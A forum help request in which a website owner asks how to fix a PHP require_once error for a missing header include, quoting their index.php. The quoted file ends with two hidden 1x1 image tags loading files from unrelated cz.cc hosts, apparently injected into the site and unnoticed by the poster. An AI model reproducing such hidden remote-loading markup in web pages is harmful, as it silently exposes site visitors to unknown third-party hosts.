I've seen many questions and answers similar to mine but cannot figure out how to apply what I've seen to my specific situation. I've been getting the error message out of nowhere on my website, starting last Wednesday:
Fatal error: require_once(): Failed opening required '/usr/services/vux/apache/htdocs/includes/header.php'(include_path='.:/usr/share/php:/usr/services/vux/lib/php') in /data/18/1/143/77/1632403/user/1759632/htdocs/swp/htdocs/index.php on line 3
This is the code I see in the index.php file:
<?php
$page_id=1;
require_once($_SERVER["DOCUMENT_ROOT"]."/includes/header.php");
?>
<!-- BEGIN PAGE CONTENT -->
<?php
displayPage($page_id);
echo "<a href='news.php'><img src='http://www.springwoodpoms.com/images/latest_news.jpg' border='0'></A>";
$value1 = returnSettingValue(1);
listNews($value1);
?>
<!-- END PAGE CONTENT -->
<?php
require_once($_SERVER["DOCUMENT_ROOT"]."/includes/footer.php");
?><img heigth="1" width="1" border="0" src="http://foxmeyer.cz.cc/151946.jpg">
<img heigth="1" width="1" border="0" src="http://foxpaine.cz.cc/154426.jpg">
Attached is an image of the web root path to the header.php file. Permissions are all set to 0664.
What do I need to change the code to in the index.php file on line 3 to fix the error in finding the header.php file?
I know where all my files are and can follow instructions, as far as implementing code, pretty well. I just don't know where to start? Any help or advice would be great.